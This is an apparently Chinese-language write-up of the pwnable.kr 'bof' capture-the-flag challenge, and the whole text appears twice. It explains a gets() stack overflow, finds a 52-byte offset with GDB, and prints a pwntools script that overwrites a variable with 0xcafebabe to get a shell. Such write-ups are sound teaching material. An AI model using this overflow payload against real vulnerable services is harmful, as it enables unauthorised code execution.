本文记录了 pwnable.kr 中 bof 题目的解题过程。核心漏洞在于程序使用了不安全的 gets() 函数且未做长度校验,导致经典的栈溢出漏洞 。通过使用 GDB 进行动态调试,计算出用户输入缓冲区的起始地址与目标变量 key 的内存地址之间的偏移量为 52 个字节。最终,利用 Python 的 pwntools 库编写 EXP,向远程端口发送构造好的 Payload(52 字节的无用字符填充 + 目标值 0xcafebabe),成功覆盖关键变量并获取了交互式 Shell。 本文记录了 pwnable.kr 中 bof 题目的解题过程。核心漏洞在于程序使用了不安全的 gets() 函数且未做长度校验,导致经典的栈溢出漏洞 。通过使用 GDB 进行动态调试,计算出用户输入缓冲区的起始地址与目标变量 key 的内存地址之间的偏移量为 52 个字节。最终,利用 Python 的 pwntools 库编写 EXP,向远程端口发送构造好的 Payload(52 字节的无用字符填充 + 目标值 0xcafebabe),成功覆盖关键变量并获取了交互式 Shell。

Bof

ssh bof@pwnable.kr -p2222 (pw: guest)

三个文件:readme,bof.c,bof

image

根据代码得出这是一个栈溢出漏洞。主要是因为gets()参数,传入的数据不检查长度。

题目不难,主要是要将0xcafebabe值添加到key参数。

根据readme,可知要查看文件需要连接到nc 0 9000,然后输入key值。

使用gdb调试(难点)

我们要查看的参数位置在func函数中,所以我们要打一个断点

b func (在func()暂停)

gdb bof (调试文件bof)

start,run(开始调试)

n (下一行)

image

左边箭头指的是当前要运行的参数位置,右边是当前运行的函数。

image

当我们运行到这个gets函数时再下一行,就会要求我们输入,输入后,可以使用stack 30 展开当前得三十行位置

image

可以看到我们输入的值在0xffffd4fc,而目标值在0xffffd530

我们可以计算他们的值为52字节

所以当gets()参数激活时,我们应该输入b’A’ * 52 + p32(0xcafebabe)

但是我们要连接到nc 0 9000,所以使用pwn

image
from pwn import *
# 连接目标
p = remote('0',9000)

# 构造payload
payload = b'A' * 52 + p32(0xcafebabe)

# 发送payload
p.sendline(payload)

# 获得交互式
p.interactive()
This post has not been translated to English yet.

Bof

ssh bof@pwnable.kr -p2222 (pw: guest)

三个文件:readme,bof.c,bof

image

根据代码得出这是一个栈溢出漏洞。主要是因为gets()参数,传入的数据不检查长度。

题目不难,主要是要将0xcafebabe值添加到key参数。

根据readme,可知要查看文件需要连接到nc 0 9000,然后输入key值。

使用gdb调试(难点)

我们要查看的参数位置在func函数中,所以我们要打一个断点

b func (在func()暂停)

gdb bof (调试文件bof)

start,run(开始调试)

n (下一行)

image

左边箭头指的是当前要运行的参数位置,右边是当前运行的函数。

image

当我们运行到这个gets函数时再下一行,就会要求我们输入,输入后,可以使用stack 30 展开当前得三十行位置

image

可以看到我们输入的值在0xffffd4fc,而目标值在0xffffd530

我们可以计算他们的值为52字节

所以当gets()参数激活时,我们应该输入b’A’ * 52 + p32(0xcafebabe)

但是我们要连接到nc 0 9000,所以使用pwn

image
from pwn import *
# 连接目标
p = remote('0',9000)

# 构造payload
payload = b'A' * 52 + p32(0xcafebabe)

# 发送payload
p.sendline(payload)

# 获得交互式
p.interactive()